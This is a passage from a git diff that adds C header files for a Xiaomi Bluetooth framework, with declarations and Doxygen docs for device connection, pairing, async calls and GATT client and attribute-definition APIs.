BT_TRANSPORT_BREDR) == BT_STATUS_SUCCESS) { + // connection initiated successfully +} else { + // Handle error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_device_background_connect)(bt_instance_t* ins, bt_address_t* addr, bt_transport_t transport); + +/** + * @brief Disconnect from a remote device. + * + * Terminates the ACL connection with a remote device. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the remote device. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + * + * **Example:** + * @code +if (bt_device_disconnect(ins, &addr) == BT_STATUS_SUCCESS) { + // Disconnection initiated successfully +} else { + // Handle error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_device_disconnect)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Disconnect specific prfoiles. + * + * @param ins - bluetooth client instance. + * @param addr - remote device address. + * @param transport - transport type (0:BLE, 1:BREDR). + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +if (bt_device_background_disconnect(ins, &addr, BT_TRANSPORT_BREDR) == BT_STATUS_SUCCESS) { + // Disconnection initiated successfully +} else { + // Handle error +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_device_background_disconnect)(bt_instance_t* ins, bt_address_t* addr, bt_transport_t transport); + +/** + * @brief Connect to a remote LE device. + * + * Initiates a connection to a remote LE device with specified parameters. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the remote LE device. + * @param type - LE address type, see @ref ble_addr_type_t. + * @param param - Pointer to connection parameters, see @ref ble_connect_params_t. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + */ +bt_status_t BTSYMBOLS(bt_device_connect_le)(bt_instance_t* ins, bt_address_t* addr, + ble_addr_type_t type, + ble_connect_params_t* param); + +/** + * @brief Disconnect from a remote LE device. + * + * Terminates the LE connection with a remote device. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the remote LE device. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + */ +bt_status_t BTSYMBOLS(bt_device_disconnect_le)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Reply to a connection request. + * + * Responds to a connection request from a remote device. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the remote device. + * @param accept - true to accept the connection; false to reject. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + */ +bt_status_t BTSYMBOLS(bt_device_connect_request_reply)(bt_instance_t* ins, bt_address_t* addr, bool accept); + +/** + * @brief Set the LE PHY parameters. + * + * Configures the PHY (Physical Layer) parameters for an LE connection. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the remote LE device. + * @param tx_phy - Preferred TX PHY, see @ref ble_phy_type_t. + * @param rx_phy - Preferred RX PHY, see @ref ble_phy_type_t. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + */ +bt_status_t BTSYMBOLS(bt_device_set_le_phy)(bt_instance_t* ins, bt_address_t* addr, + ble_phy_type_t tx_phy, + ble_phy_type_t rx_phy); + +/** + * @brief Connect to all profiles. + * + * @note Currently not supported. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + */ +void BTSYMBOLS(bt_device_connect_all_profile)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Disconnect from all profiles. + * + * @note Currently not supported. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + */ +void BTSYMBOLS(bt_device_disconnect_all_profile)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Enable enhanced mode for a connection. + * + * Enables an enhanced mode (e.g., eSCO, sniff mode) for a connection with a remote device. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the remote device. + * @param mode - Enhanced mode to enable, see @ref bt_enhanced_mode_t. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + */ +bt_status_t BTSYMBOLS(bt_device_enable_enhanced_mode)(bt_instance_t* ins, bt_address_t* addr, bt_enhanced_mode_t mode); + +/** + * @brief Disable enhanced mode for a connection. + * + * Disables an enhanced mode (e.g., eSCO, sniff mode) for a connection with a remote device. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the remote device. + * @param mode - Enhanced mode to disable, see @ref bt_enhanced_mode_t. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + */ +bt_status_t BTSYMBOLS(bt_device_disable_enhanced_mode)(bt_instance_t* ins, bt_address_t* addr, bt_enhanced_mode_t mode); + +// async +#ifdef CONFIG_BLUETOOTH_FRAMEWORK_ASYNC +#include "bt_async.h" + +typedef void (*bt_device_get_bond_state_cb_t)(bt_instance_t* ins, bt_status_t status, bond_state_t bstate, void* userdata); +typedef void (*bt_device_get_address_type_cb_t)(bt_instance_t* ins, bt_status_t status, ble_addr_type_t atype, void* userdata); + +bt_status_t bt_device_get_identity_address_async(bt_instance_t* ins, bt_address_t* bd_addr, bt_address_cb_t cb, void* userdata); +bt_status_t bt_device_get_address_type_async(bt_instance_t* ins, bt_address_t* addr, bt_device_get_address_type_cb_t cb, void* userdata); +bt_status_t bt_device_get_device_type_async(bt_instance_t* ins, bt_address_t* addr, bt_device_type_cb_t cb, void* userdata); +bt_status_t bt_device_get_name_async(bt_instance_t* ins, bt_address_t* addr, bt_string_cb_t cb, void* userdata); +bt_status_t bt_device_get_device_class_async(bt_instance_t* ins, bt_address_t* addr, bt_u32_cb_t cb, void* userdata); +bt_status_t bt_device_get_uuids_async(bt_instance_t* ins, bt_address_t* addr, bt_uuids_cb_t cb, void* userdata); +bt_status_t bt_device_get_appearance_async(bt_instance_t* ins, bt_address_t* addr, bt_u16_cb_t cb, void* userdata); +bt_status_t bt_device_get_rssi_async(bt_instance_t* ins, bt_address_t* addr, bt_s8_cb_t cb, void* userdata); +bt_status_t bt_device_get_alias_async(bt_instance_t* ins, bt_address_t* addr, bt_string_cb_t cb, void* userdata); +bt_status_t bt_device_set_alias_async(bt_instance_t* ins, bt_address_t* addr, const char* alias, bt_status_cb_t cb, void* userdata); +bt_status_t bt_device_is_connected_async(bt_instance_t* ins, bt_address_t* addr, bt_transport_t transport, bt_bool_cb_t cb, void* userdata); +bt_status_t bt_device_is_encrypted_async(bt_instance_t* ins, bt_address_t* addr, bt_transport_t transport, bt_bool_cb_t cb, void* userdata); +bt_status_t bt_device_is_bond_initiate_local_async(bt_instance_t* ins, bt_address_t* addr, bt_transport_t transport, bt_bool_cb_t cb, void* userdata); +bt_status_t bt_device_get_bond_state_async(bt_instance_t* ins, bt_address_t* addr, bt_transport_t transport, bt_device_get_bond_state_cb_t cb, void* userdata); +bt_status_t bt_device_is_bonded_async(bt_instance_t* ins, bt_address_t* addr, bt_transport_t transport, bt_bool_cb_t cb, void* userdata); +bt_status_t bt_device_connect_async(bt_instance_t* ins, bt_address_t* addr, bt_status_cb_t cb, void* userdata); +bt_status_t bt_device_disconnect_async(bt_instance_t* ins, bt_address_t* addr, bt_status_cb_t cb, void* userdata); +bt_status_t bt_device_connect_le_async(bt_instance_t* ins, bt_address_t* addr, ble_addr_type_t type, ble_connect_params_t* param, bt_status_cb_t cb, void* userdata); +bt_status_t bt_device_disconnect_le_async(bt_instance_t* ins, bt_address_t* addr, bt_status_cb_t cb, void* userdata); +bt_status_t bt_device_connect_request_reply_async(bt_instance_t* ins, bt_address_t* addr, bool accept, bt_status_cb_t cb, void* userdata); +bt_status_t bt_device_connect_all_profile_async(bt_instance_t* ins, bt_address_t* addr, bt_status_cb_t cb, void* userdata); +bt_status_t bt_device_disconnect_all_profile_async(bt_instance_t* ins, bt_address_t* addr, bt_status_cb_t cb, void* userdata); +bt_status_t bt_device_set_le_phy_async(bt_instance_t* ins, bt_address_t* addr, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy, bt_status_cb_t cb, void* userdata); +bt_status_t bt_device_create_bond_async(bt_instance_t* ins, bt_address_t* addr, bt_transport_t transport, bt_status_cb_t cb, void* userdata); +bt_status_t bt_device_remove_bond_async(bt_instance_t* ins, bt_address_t* addr, uint8_t transport, bt_status_cb_t cb, void* userdata); +bt_status_t bt_device_cancel_bond_async(bt_instance_t* ins, bt_address_t* addr, bt_status_cb_t cb, void* userdata); +bt_status_t bt_device_pair_request_reply_async(bt_instance_t* ins, bt_address_t* addr, bool accept, bt_status_cb_t cb, void* userdata); +bt_status_t bt_device_set_pairing_confirmation_async(bt_instance_t* ins, bt_address_t* addr, uint8_t transport, bool accept, bt_status_cb_t cb, void* userdata); +bt_status_t bt_device_set_pin_code_async(bt_instance_t* ins, bt_address_t* addr, bool accept, char* pincode, int len, bt_status_cb_t cb, void* userdata); +bt_status_t bt_device_set_pass_key_async(bt_instance_t* ins, bt_address_t* addr, uint8_t transport, bool accept, uint32_t passkey, bt_status_cb_t cb, void* userdata); +bt_status_t bt_device_set_le_legacy_tk_async(bt_instance_t* ins, bt_address_t* addr, bt_128key_t tk_val, bt_status_cb_t cb, void* userdata); +bt_status_t bt_device_set_le_sc_remote_oob_data_async(bt_instance_t* ins, bt_address_t* addr, bt_128key_t c_val, bt_128key_t r_val, bt_status_cb_t cb, void* userdata); +bt_status_t bt_device_get_le_sc_local_oob_data_async(bt_instance_t* ins, bt_address_t* addr, bt_status_cb_t cb, void* userdata); +#endif + +#ifdef __cplusplus +} +#endif + +#endif /* _BT_DEVICE_H__ */ \ No newline at end of file diff --git a/framework/include/bt_gatt_defs.h b/framework/include/bt_gatt_defs.h new file mode 100644 index 0000000000000000000000000000000000000000..ed9011445480f6d27cc1e366101574e5900aed3c --- /dev/null +++ b/framework/include/bt_gatt_defs.h @@ -0,0 +1,160 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __BT_GATT_DEFS_H__ +#define __BT_GATT_DEFS_H__ + +#ifdef __cplusplus +extern "C" { +#endif + +#include <stdbool.h> +#include <stdint.h> + +/** + * @cond + */ + +typedef enum { + GATT_STATUS_SUCCESS, + GATT_STATUS_FAILURE, + GATT_STATUS_REQUEST_NOT_SUPPORTED, + GATT_STATUS_INSUFFICIENT_AUTHENTICATION, + GATT_STATUS_INSUFFICIENT_ENCRYPTION, + GATT_STATUS_READ_NOT_PERMITTED, + GATT_STATUS_WRITE_NOT_PERMITTED, + GATT_STATUS_INVALID_ATTRIBUTE_LENGTH +} gatt_status_t; + +typedef enum { + GATT_PRIMARY_SERVICE, + GATT_SECONDARY_SERVICE, + GATT_INCLUDED_SERVICE, + GATT_CHARACTERISTIC, + GATT_DESCRIPTOR +} gatt_attr_type_t; + +typedef enum { + ATTR_AUTO_RSP, + ATTR_RSP_BY_APP, +} gatt_attr_rsp_t; + +#ifdef CONFIG_BLUETOOTH_GATTS_MAX_ATTRIBUTE_NUM +#define GATTS_MAX_ATTRIBUTE_NUM CONFIG_BLUETOOTH_GATTS_MAX_ATTRIBUTE_NUM +#else +#define GATTS_MAX_ATTRIBUTE_NUM 16 +#endif + +/* MAX GATT MTU size */ +#define GATT_MAX_MTU_SIZE 517 + +/* Attribute permissions */ +#define GATT_PERM_READ 0x01 +#define GATT_PERM_WRITE 0x02 +#define GATT_PERM_ENCRYPT_REQUIRED 0x04 +#define GATT_PERM_AUTHEN_REQUIRED 0x08 +#define GATT_PERM_MITM_REQUIRED 0x10 + +/* Characteristic Properties */ +#define GATT_PROP_BROADCAST 0x01 +#define GATT_PROP_READ 0x02 +#define GATT_PROP_WRITE_NR 0x04 +#define GATT_PROP_WRITE 0x08 +#define GATT_PROP_NOTIFY 0x10 +#define GATT_PROP_INDICATE 0x20 +#define GATT_PROP_SIGNED_WRITE 0x40 +#define GATT_PROP_EXTENDED_PROPS 0x80 +#define GATT_PROP_EXPOSED_OVER_BREDR 0x1000 /* Applies to Primary/Secondary Service type only */ + +/* Client Characteristic Configuration Values */ +#define GATT_CCC_NOTIFY 0x0001 +#define GATT_CCC_INDICATE 0x0002 + +/* GATT Attribute Helper Macros */ +#define GATT_H_ATTRIBUTE(_uuid, _type, _prop, _perm, _rsp, _read, _write, _value, _length, _handle) \ + { \ + .handle = _handle, \ + .uuid = _uuid, \ + .type = _type, \ + .properties = _prop, \ + .permissions = _perm, \ + .rsp_type = _rsp, \ + .read_cb = _read, \ + .write_cb = _write, \ + .attr_length = _length, \ + .attr_value = _value \ + } + +/* GATT_H_PRIMARY_SERVICE */ +#define GATT_H_PRIMARY_SERVICE(_service, _handle) \ + GATT_H_ATTRIBUTE(_service, GATT_PRIMARY_SERVICE, 0, GATT_PERM_READ, ATTR_AUTO_RSP, NULL, NULL, NULL, 0, _handle) + +/* GATT_H_SECONDARY_SERVICE */ +#define GATT_H_SECONDARY_SERVICE(_service, _handle) \ + GATT_H_ATTRIBUTE(_service, GATT_SECONDARY_SERVICE, 0, GATT_PERM_READ, ATTR_AUTO_RSP, NULL, NULL, NULL, 0, _handle) + +/* GATT_H_INCLUDE_SERVICE */ +#define GATT_H_INCLUDE_SERVICE(_service, _handle) \ + GATT_H_ATTRIBUTE(_service, GATT_INCLUDED_SERVICE, 0, GATT_PERM_READ, ATTR_AUTO_RSP, NULL, NULL, NULL, 0, _handle) + +/* GATT_H_PRIMARY_SERVICE_OVER_BREDR */ +#define GATT_H_PRIMARY_SERVICE_OVER_BREDR(_service, _handle) \ + GATT_H_ATTRIBUTE(_service, GATT_PRIMARY_SERVICE, GATT_PROP_EXPOSED_OVER_BREDR, GATT_PERM_READ, ATTR_AUTO_RSP, NULL, NULL, NULL, 0, _handle) + +/* GATT_H_SECONDARY_SERVICE_OVER_BREDR */ +#define GATT_H_SECONDARY_SERVICE_OVER_BREDR(_service, _handle) \ + GATT_H_ATTRIBUTE(_service, GATT_SECONDARY_SERVICE, GATT_PROP_EXPOSED_OVER_BREDR, GATT_PERM_READ, ATTR_AUTO_RSP, NULL, NULL, NULL, 0, _handle) + +/* GATT_H_CHARACTERISTIC */ +#define GATT_H_CHARACTERISTIC(_uuid, _prop, _perm, _rsp, _read, _write, _value, _length, _handle) \ + GATT_H_ATTRIBUTE(_uuid, GATT_CHARACTERISTIC, _prop, _perm, _rsp, _read, _write, _value, _length, _handle) + +/* GATT_H_CHARACTERISTIC */ +#define GATT_H_CHARACTERISTIC_AUTO_RSP(_uuid, _prop, _perm, _value, _length, _handle) \ + GATT_H_ATTRIBUTE(_uuid, GATT_CHARACTERISTIC, _prop, _perm, ATTR_AUTO_RSP, NULL, NULL, _value, _length, _handle) + +/* GATT_H_CHARACTERISTIC */ +#define GATT_H_CHARACTERISTIC_USER_RSP(_uuid, _prop, _perm, _read, _write, _handle) \ + GATT_H_ATTRIBUTE(_uuid, GATT_CHARACTERISTIC, _prop, _perm, ATTR_RSP_BY_APP, _read, _write, NULL, 0, _handle) + +/* GATT_H_DESCRIPTOR */ +#define GATT_H_DESCRIPTOR(_uuid, _perm, _rsp, _read, _write, _value, _length, _handle) \ + GATT_H_ATTRIBUTE(_uuid, GATT_DESCRIPTOR, 0, _perm, _rsp, _read, _write, _value, _length, _handle) + +/* GATT_H_DESCRIPTOR */ +#define GATT_H_CEPD(_value, _length, _handle) \ + GATT_H_DESCRIPTOR(BT_UUID_DECLARE_16(0x2900), GATT_PERM_READ, ATTR_AUTO_RSP, NULL, NULL, _value, _length, _handle) + +/* GATT_H_DESCRIPTOR */ +#define GATT_H_CUDD(_value, _length, _handle) \ + GATT_H_DESCRIPTOR(BT_UUID_DECLARE_16(0x2901), GATT_PERM_READ, ATTR_AUTO_RSP, NULL, NULL, _value, _length, _handle) + +/* GATT_H_DESCRIPTOR */ +#define GATT_H_CCCD(_perm, _change, _handle) \ + GATT_H_DESCRIPTOR(BT_UUID_DECLARE_16(0x2902), _perm, ATTR_RSP_BY_APP, NULL, _change, NULL, 0, _handle) + +/* GATT_H_DESCRIPTOR */ +#define GATT_H_CPFD(_value, _length, _handle) \ + GATT_H_DESCRIPTOR(BT_UUID_DECLARE_16(0x2904), GATT_PERM_READ, ATTR_AUTO_RSP, NULL, NULL, _value, _length, _handle) + +/** + * @endcond + */ + +#ifdef __cplusplus +} +#endif + +#endif /* __BT_GATT_DEFS_H_ */ \ No newline at end of file diff --git a/framework/include/bt_gatt_feature.h b/framework/include/bt_gatt_feature.h new file mode 100644 index 0000000000000000000000000000000000000000..05ff4630be5d7981b9ee2fb951c147892dff84c5 --- /dev/null +++ b/framework/include/bt_gatt_feature.h @@ -0,0 +1,379 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef _BT_GATT_FEATURE_H_ +#define _BT_GATT_FEATURE_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#include <stdbool.h> +#include <stddef.h> +#include <stdint.h> + +#include "bt_async.h" +#include "bt_gattc.h" + +/* ----------------------------- Struct Definitions ----------------------------- */ + +typedef struct gatt_service_t gatt_service_t; +typedef struct gatt_characteristic_t gatt_characteristic_t; +typedef struct gatt_descriptor_t gatt_descriptor_t; +typedef struct gatt_include_service_t gatt_include_service_t; + +/** + * @brief GATT Descriptor. + */ +struct gatt_descriptor_t { + bt_uuid_t service_uuid; /**< Parent service UUID. */ + bt_uuid_t characteristic_uuid; /**< parent characteristic UUID. */ + bt_uuid_t uuid; /**< Descriptor UUID. */ + uint16_t attr_handle; /**< Descriptor attribute handle. */ + uint8_t* value; /**< Value buffer pointer. */ + size_t value_len; /**< Length of value. */ +}; + +/** + * @brief GATT Characteristic. + */ +struct gatt_characteristic_t { + bt_uuid_t service_uuid; /**< Parent service UUID. */ + bt_uuid_t uuid; /**< Characteristic UUID. */ + uint16_t value_handle; /**< Characteristic Value attribute handle. */ + uint8_t* value; /**< Value buffer pointer. */ + size_t value_len; /**< Length of value. */ + uint32_t properties; /**< Properties bitmask. */ + gatt_descriptor_t* descriptors; /**< Array of descriptors. */ + size_t descriptor_count; /**< Number of descriptors. */ +}; + +/** + * @brief GATT Included Service. + */ +struct gatt_include_service_t { + uint16_t attr_handle; /**< Include declaration attribute handle. */ + uint16_t start_handle; /**< Start handle of the referenced service */ + uint16_t end_handle; /**< End handle of the referenced service */ + bt_uuid_t included_service_uuid; /**< referenced service UUID */ +}; + +/** + * @brief GATT Service. + */ +struct gatt_service_t { + bt_uuid_t uuid; /**< Service UUID. */ + uint16_t attr_handle; /**< Service declaration attribute handle. */ + bool is_primary; /**< True if primary service. */ + gatt_characteristic_t* characteristics; /**< Array of characteristics. */ + size_t characteristic_count; /**< Number of characteristics. */ + gatt_include_service_t* included_services; /**< Array of included services. */ + size_t included_service_count; /**< Number of included services. */ +}; + +/* ----------------------------- Callback Typedefs ----------------------------- */ + +/** + * @brief Status callback. + * @param ins Bluetooth instance. + * @param status Operation status. + * @param userdata User context. + */ +typedef void (*bt_status_cb_t)(bt_instance_t* ins, bt_status_t status, void* userdata); + +/** + * @brief GATT client connection completion callback. + * @param ins Bluetooth instance. + * @param status Operation status. + * @param conn_handle Connection handle. + */ +typedef void (*bt_gattc_feature_on_connected_cb_t)(bt_instance_t* ins, gatt_status_t status, gattc_handle_t conn_handle); + +/** + * @brief GATT client disconnected from the remote device or connect fail callback. + * @param ins Bluetooth instance. + * @param status Operation status. + * @param conn_handle Connection handle. + */ +typedef void (*bt_gattc_feature_on_disconnected_cb_t)(bt_instance_t* ins, gatt_status_t status, gattc_handle_t conn_handle); + +/** + * @brief Create client completion callback. + * @param ins Bluetooth instance. + * @param status Operation status. + * @param conn_handle Connection handle. + * @param userdata User context. + */ +typedef void (*bt_gattc_feature_create_client_cb_t)(bt_instance_t* ins, gatt_status_t status, gattc_handle_t conn_handle, void* userdata); + +/** + * @brief Delete client completion callback. + * @param ins Bluetooth instance. + * @param status Operation status. + * @param conn_handle Connection handle. + * @param userdata User context. + */ +typedef void (*bt_gattc_feature_delete_client_cb_t)(bt_instance_t* ins, gatt_status_t status, gattc_handle_t conn_handle, void* userdata); + +/** + * @brief Get service callback. + * @param ins Bluetooth instance. + * @param status Operation status. + * @param conn_handle Connection handle. + * @param services Array of discovered services (pointer array). + * @param count Number of services in the array. + */ +typedef void (*bt_gattc_feature_get_service_cb_t)(bt_instance_t* ins, gatt_status_t status, gattc_handle_t conn_handle, + const gatt_service_t* services[], size_t count); + +/** + * @brief Read characteristic callback. + * @param ins Bluetooth instance. + * @param status Operation status. + * @param conn_handle Connection handle. + * @param characteristic Retrieved characteristic (with value). + */ +typedef void (*bt_gattc_feature_read_characteristic_cb_t)(bt_instance_t* ins, gatt_status_t status, gattc_handle_t conn_handle, + const gatt_characteristic_t* characteristic); + +/** + * @brief Read descriptor callback. + * @param ins Bluetooth instance. + * @param status Operation status. + * @param conn_handle Connection handle. + * @param descriptor Retrieved descriptor (with value). + */ +typedef void (*bt_gattc_feature_read_descriptor_cb_t)(bt_instance_t* ins, gatt_status_t status, gattc_handle_t conn_handle, + const gatt_descriptor_t* descriptor); + +/** + * @brief Write characteristic callback. + * @param ins Bluetooth instance. + * @param status Operation status. + * @param conn_handle Connection handle. + */ +typedef void (*bt_gattc_feature_write_characteristic_cb_t)(bt_instance_t* ins, gatt_status_t status, gattc_handle_t conn_handle); + +/** + * @brief Write descriptor callback. + * @param ins Bluetooth instance. + * @param status Operation status. + * @param conn_handle Connection handle. + */ +typedef void (*bt_gattc_feature_write_descriptor_cb_t)(bt_instance_t* ins, gatt_status_t status, gattc_handle_t conn_handle); + +/** + * @brief Notification subscription state callback. + * @param ins Bluetooth instance. + * @param status Operation status. + * @param conn_handle Connection handle. + * @param enable True if subscription was enabled, false if disabled. + */ +typedef void (*bt_gattc_feature_on_subscribed_cb_t)(bt_instance_t* ins, gatt_status_t status, gattc_handle_t conn_handle, bool enable); + +/** + * @brief MTU exchange result callback. + * @param conn_handle Connection handle. + * @param status Operation status. + * @param mtu Negotiated MTU size. + */ +typedef void (*bt_gattc_feature_on_mtu_changed_cb_t)(gattc_handle_t conn_handle, gatt_status_t status, uint32_t mtu); + +/** + * @brief Characteristic change notification callback. + * @param ins Bluetooth instance. + * @param conn_handle Connection handle. + * @param characteristic Updated characteristic (with value). + */ +typedef void (*bt_gattc_feature_characteristic_changed_cb_t)(bt_instance_t* ins, gattc_handle_t conn_handle, + const gatt_characteristic_t* characteristic); + +typedef struct { + uint32_t size; + bt_gattc_feature_on_connected_cb_t on_connected; + bt_gattc_feature_on_disconnected_cb_t on_disconnected; + bt_gattc_feature_get_service_cb_t on_discovered; + bt_gattc_feature_read_characteristic_cb_t on_read_char; + bt_gattc_feature_read_descriptor_cb_t on_read_desc; + bt_gattc_feature_write_characteristic_cb_t on_write_char; + bt_gattc_feature_write_descriptor_cb_t on_write_desc; + bt_gattc_feature_on_subscribed_cb_t on_subscribed; + bt_gattc_feature_characteristic_changed_cb_t on_notified; + bt_gattc_feature_on_mtu_changed_cb_t on_mtu_updated; +} bt_gattc_feature_callbacks_t; + +/* ----------------------------- API Declarations ----------------------------- */ + +/** + * @brief Create GATT client. + * @param ins Bluetooth instance. + * @param addr Remote device address. + * @param cb Create completion callback. + * @param callbacks GATT client event callbacks. + * @param userdata User context. + * @return bt_status_t + */ +bt_status_t bt_gattc_feature_create_client_async(bt_instance_t* ins, bt_address_t* addr, + bt_gattc_feature_create_client_cb_t cb, + bt_gattc_feature_callbacks_t* callbacks, + void* userdata); + +/** + * @brief Delete GATT client. + * @param ins Bluetooth instance. + * @param conn_handle Connection handle (from create). + * @param cb Async call status callback. + * @param userdata User context. + * @return bt_status_t + */ +bt_status_t bt_gattc_feature_delete_client_async(bt_instance_t* ins, gattc_handle_t conn_handle, + bt_gattc_feature_delete_client_cb_t cb, void* userdata); + +/** + * @brief Connect to GATT server. + * + * Initiates a GATT connection to the remote server using the specified connection handle. + * + * Important: + * - Before calling this function, you must have successfully called + * @ref bt_gattc_feature_create_client_async() to create a GATT client and obtained the `conn_handle`. + * - This function reuses the existing `conn_handle` to connect; it does not create a new client. + * - Normally, after client creation, the stack will automatically attempt the first connection. + * You can call this function explicitly if you want to reconnect after a disconnect. + * + * @param conn_handle Connection handle (from create). + * @param addr Remote device address. + * @param addr_type Address type. + * @param cb Async call status callback. + * @param userdata User context. + * @return bt_status_t + */ +bt_status_t bt_gattc_feature_connect_async(gattc_handle_t conn_handle, bt_address_t* addr, ble_addr_type_t addr_type, + bt_status_cb_t cb, void* userdata); + +/** + * @brief Disconnect from GATT server. + * + * Terminates the active GATT connection associated with the given connection handle. + * + * Important: + * - The `conn_handle` must be a valid handle previously obtained from + * @ref bt_gattc_feature_create_client_async(). + * - After disconnection, the GATT client remains allocated. + * You can reconnect later using @ref bt_gattc_feature_connect_async(), + * or completely remove the client using @ref bt_gattc_feature_delete_client_async(). + * + * @param conn_handle Connection handle. + * @param cb Async call status callback. + * @param userdata User context. + * @return bt_status_t + */ +bt_status_t bt_gattc_feature_disconnect_async(gattc_handle_t conn_handle, bt_status_cb_t cb, void* userdata); + +/** + * @brief Discover all GATT services (rebuilds local DB). + * + * @param conn_handle Connection handle. + * @param cb Async call status callback. + * @param userdata User context. + * @return bt_status_t + */ +bt_status_t bt_gattc_feature_get_service_async(gattc_handle_t conn_handle, bt_status_cb_t cb, void* userdata); + +/** + * @brief Read characteristic value. + * + * @param conn_handle Connection handle. + * @param service_uuid Parent service UUID. + * @param characteristic_uuid Target characteristic UUID. + * @param cb Async call status callback. + * @param userdata User context. + * @return bt_status_t + */ +bt_status_t bt_gattc_feature_read_characteristic_value_async(gattc_handle_t conn_handle, + const bt_uuid_t* service_uuid, const bt_uuid_t* characteristic_uuid, + bt_status_cb_t cb, void* userdata); + +/** + * @brief Read descriptor value. + * + * @param conn_handle Connection handle. + * @param service_uuid Parent service UUID. + * @param characteristic_uuid Parent characteristic UUID. + * @param descriptor_uuid Target descriptor UUID. + * @param cb Async call status callback. + * @param userdata User context. + * @return bt_status_t + */ +bt_status_t bt_gattc_feature_read_descriptor_value_async(gattc_handle_t conn_handle, + const bt_uuid_t* service_uuid, const bt_uuid_t* characteristic_uuid, + const bt_uuid_t* descriptor_uuid, + bt_status_cb_t cb, void* userdata); + +/** + * @brief Write characteristic value. + * + * @param conn_handle Connection handle. + * @param characteristic Characteristic to write. + * @param cb Async call status callback. + * @param userdata User context. + * @return bt_status_t + */ +bt_status_t bt_gattc_feature_write_characteristic_value_async(gattc_handle_t conn_handle, + const gatt_characteristic_t* characteristic, bt_status_cb_t cb, void* userdata); + +/** + * @brief Write descriptor value. + * + * @param conn_handle Connection handle. + * @param descriptor Descriptor to write. + * @param cb Async call status callback. + * @param userdata User context. + * @return bt_status_t + */ +bt_status_t bt_gattc_feature_write_descriptor_value_async(gattc_handle_t conn_handle, + const gatt_descriptor_t* descriptor, bt_status_cb_t cb, void* userdata); + +/** + * @brief Exchange MTU size. + * + * @param conn_handle Connection handle. + * @param mtu Desired MTU size. + * @param cb Async call status callback. + * @param userdata User context. + * @return bt_status_t + */ +bt_status_t bt_gattc_feature_exchange_mtu_async(gattc_handle_t conn_handle, uint32_t mtu, + bt_status_cb_t cb, void* userdata); + +/** + * @brief Enable or disable characteristic notification. + * + * @param conn_handle Connection handle. + * @param characteristic Target characteristic. + * @param enable True to enable, false to disable. + * @param cb Async call status callback. + * @param userdata User context. + * @return bt_status_t + */ +bt_status_t bt_gattc_feature_set_notify_characteristic_changed_async(gattc_handle_t conn_handle, + const gatt_characteristic_t* characteristic, bool enable, bt_status_cb_t cb, void* userdata); + +#ifdef __cplusplus +} +#endif + +#endif // _BT_GATT_FEATURE_H_ diff --git a/framework/include/bt_gattc.h b/framework/include/bt_gattc.h new file mode 100644 index 0000000000000000000000000000000000000000..efa5d9243156bbd77830b720d88d9cbec55b7834 --- /dev/null +++ b/framework/include/bt_gattc.h @@ -0,0 +1,760 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BT_GATTC_H__ +#define __BT_GATTC_H__ + +#ifdef __cplusplus +extern "C" { +#endif + +#include "bluetooth.h" +#include "bt_addr.h" +#include "bt_gatt_defs.h" +#include "bt_status.h" +#include "bt_uuid.h" +#include <stddef.h> + +/** + * @cond + */ + +#ifndef BTSYMBOLS +#define BTSYMBOLS(s) s +#endif + +typedef void* gattc_handle_t; + +typedef struct { + uint8_t type; /* gatt_attr_type_t */ + uint8_t pad[1]; + uint16_t handle; + bt_uuid_t uuid; + uint32_t properties; + +} gatt_attr_desc_t; + +/** + * @endcond + */ + +/** + * @brief callback for connected as GATT client. + * + * This callback is triggered when gattc connected. BT Service use this callback to notify the application 